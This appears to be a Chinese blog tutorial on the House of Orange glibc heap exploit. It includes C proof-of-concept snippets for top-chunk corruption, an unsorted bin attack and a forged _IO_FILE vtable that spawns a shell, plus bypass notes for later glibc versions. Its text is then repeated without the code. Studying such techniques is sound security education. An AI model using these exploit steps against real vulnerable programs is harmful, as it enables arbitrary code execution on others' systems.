house of orange 漏洞
字数 1595 2025-08-05 08:20:12

House of Orange 漏洞分析与利用

1. 漏洞概述

House of Orange 是一种针对 glibc 堆管理机制的复杂利用技术,主要利用了 unsorted bin attack 和 _IO_FILE 结构体的特性。该技术在 glibc-2.23 及之前版本中有效,后续版本由于增加了安全措施而变得难以利用。

2. 基本原理

2.1 核心思想

House of Orange 通过以下步骤实现利用:

  1. 利用堆溢出修改 Top chunk 的大小
  2. 触发 sysmalloc 扩展堆,导致旧 Top chunk 被释放到 unsorted bin
  3. 利用 unsorted bin attack 修改 _IO_list_all 指针
  4. 构造伪造的 _IO_FILE 结构体
  5. 触发 abort() 流程中的 _IO_flush_all_lockp 来执行任意代码

2.2 关键函数调用链

__libc_malloc 
=> malloc_printerr 
=> __libc_message 
=> abort 
=> _IO_flush_all_lockp

3. 详细利用步骤

3.1 初始堆布局

char *p1 = malloc(0x400 - 16);

分配第一个 chunk 后,堆布局如下:

  • 已分配 chunk (0x400 字节)
  • Top chunk (剩余空间)

3.2 修改 Top chunk 大小

size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;  // 设置 Top chunk 大小

需要满足两个条件:

  1. Top chunk + size 必须页对齐
  2. Top chunk 的 prev_inuse 位必须设置

3.3 触发堆扩展

p2 = malloc(0x1000);  // 大于当前 Top chunk 的大小

这会触发 sysmalloc,导致:

  1. 旧 Top chunk 被释放到 unsorted bin
  2. 新 Top chunk 在 mmap 区域分配

3.4 利用 unsorted bin attack

io_list_all = top[2] + 0x9a8;  // 计算 _IO_list_all 地址
top[3] = io_list_all - 0x10;   // 修改 bk 指针

通过修改 unsorted bin 中 chunk 的 bk 指针,可以在解链时实现任意地址写。

3.5 构造伪造的 _IO_FILE 结构体

// 设置 /bin/sh
memcpy((char *)top, "/bin/sh\x00", 8);

// 修改 size 字段,使 chunk 被放入 smallbin[4]
top[1] = 0x61;

// 构造 _IO_FILE 结构体
_IO_FILE *fp = (_IO_FILE *)top;
fp->_mode = 0;  // top+0xc0
fp->_IO_write_base = (char *)2;  // top+0x20
fp->_IO_write_ptr = (char *)3;   // top+0x28

// 设置 vtable
size_t *jump_table = &top[12];
jump_table[3] = (size_t)&winner;
*(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table;

3.6 触发利用

malloc(10);  // 触发整个利用链

4. 条件检查绕过

_IO_flush_all_lockp 中会检查以下条件:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    || (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 
        && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
#endif
    ) && _IO_OVERFLOW(fp, EOF) == EOF)

成功概率约为 50%,因为 fp->_mode 的值受随机化影响。

5. glibc-2.24 及之后的版本

5.1 vtable 检查

glibc-2.24 引入了 _IO_vtable_check,要求 vtable 指针必须在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间。

5.2 利用 _IO_str_jumps

可以劫持 _IO_str_jumps 中的函数指针:

_IO_str_jumps = {
    __dummy = 0,
    __dummy2 = 0,
    __finish = 0x7fb33166d448 <_IO_str_finish>,
    __overflow = 0x7fb33166d0f6 <__GI__IO_str_overflow>,
    ...
}

利用 _IO_str_finish 函数:

void _IO_str_finish(_IO_FILE *fp, int dummy) {
    if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        (((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base);
    fp->_IO_buf_base = NULL;
    _IO_default_finish(fp, 0);
}

利用方法:

  1. 将 vtable 指向 _IO_str_jumps
  2. 将 fp 的 0xe8 偏移覆盖为 system 函数
  3. 将 fp 的 0x38 偏移覆盖为 "/bin/sh" 字符串

6. glibc-2.27 及之后版本

在 glibc-2.27 中,abort() 不再调用 _IO_flush_all_lockp,因此 House of Orange 技术失效。

7. House of Orange by Thread

7.1 原理

thread_arena.top 的 size 不够分配时:

  1. 如果原 heap 大于 0x4000000,sysmalloc 会 free 掉 top chunk
  2. 转而向低地址申请新的内存

7.2 利用代码

void *thread_func(void *p) {
    char *ptr[NUM] = {0}, *end, *new;
    int i;
    
    for (i = 0; i < NUM; i++) {
        ptr[i] = malloc(0x1000);
    }
    
    end = malloc(0x800);
    new = malloc(0x1000);
    
    return NULL;
}

8. 防御措施

  1. glibc-2.24 引入的 vtable 检查
  2. glibc-2.27 移除的 _IO_flush_all_lockp 调用
  3. 堆分配器中的各种完整性检查

9. 总结

House of Orange 是一种复杂的利用技术,结合了堆管理和 IO 子系统的特性。虽然现代 glibc 版本已经修复了相关漏洞,但理解其原理对于学习高级利用技术和防御方法仍然很有价值。

House of Orange 漏洞分析与利用 1. 漏洞概述 House of Orange 是一种针对 glibc 堆管理机制的复杂利用技术,主要利用了 unsorted bin attack 和 _IO_FILE 结构体的特性。该技术在 glibc-2.23 及之前版本中有效,后续版本由于增加了安全措施而变得难以利用。 2. 基本原理 2.1 核心思想 House of Orange 通过以下步骤实现利用: 利用堆溢出修改 Top chunk 的大小 触发 sysmalloc 扩展堆,导致旧 Top chunk 被释放到 unsorted bin 利用 unsorted bin attack 修改 _IO_list_all 指针 构造伪造的 _IO_FILE 结构体 触发 abort() 流程中的 _IO_flush_all_lockp 来执行任意代码 2.2 关键函数调用链 3. 详细利用步骤 3.1 初始堆布局 分配第一个 chunk 后,堆布局如下: 已分配 chunk (0x400 字节) Top chunk (剩余空间) 3.2 修改 Top chunk 大小 需要满足两个条件: Top chunk + size 必须页对齐 Top chunk 的 prev_ inuse 位必须设置 3.3 触发堆扩展 这会触发 sysmalloc ,导致: 旧 Top chunk 被释放到 unsorted bin 新 Top chunk 在 mmap 区域分配 3.4 利用 unsorted bin attack 通过修改 unsorted bin 中 chunk 的 bk 指针,可以在解链时实现任意地址写。 3.5 构造伪造的 _ IO_ FILE 结构体 3.6 触发利用 4. 条件检查绕过 在 _IO_flush_all_lockp 中会检查以下条件: 成功概率约为 50%,因为 fp->_mode 的值受随机化影响。 5. glibc-2.24 及之后的版本 5.1 vtable 检查 glibc-2.24 引入了 _IO_vtable_check ,要求 vtable 指针必须在 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间。 5.2 利用 _ IO_ str_ jumps 可以劫持 _IO_str_jumps 中的函数指针: 利用 _IO_str_finish 函数: 利用方法: 将 vtable 指向 _IO_str_jumps 将 fp 的 0xe8 偏移覆盖为 system 函数 将 fp 的 0x38 偏移覆盖为 "/bin/sh" 字符串 6. glibc-2.27 及之后版本 在 glibc-2.27 中, abort() 不再调用 _IO_flush_all_lockp ,因此 House of Orange 技术失效。 7. House of Orange by Thread 7.1 原理 当 thread_arena.top 的 size 不够分配时: 如果原 heap 大于 0x4000000, sysmalloc 会 free 掉 top chunk 转而向低地址申请新的内存 7.2 利用代码 8. 防御措施 glibc-2.24 引入的 vtable 检查 glibc-2.27 移除的 _IO_flush_all_lockp 调用 堆分配器中的各种完整性检查 9. 总结 House of Orange 是一种复杂的利用技术,结合了堆管理和 IO 子系统的特性。虽然现代 glibc 版本已经修复了相关漏洞,但理解其原理对于学习高级利用技术和防御方法仍然很有价值。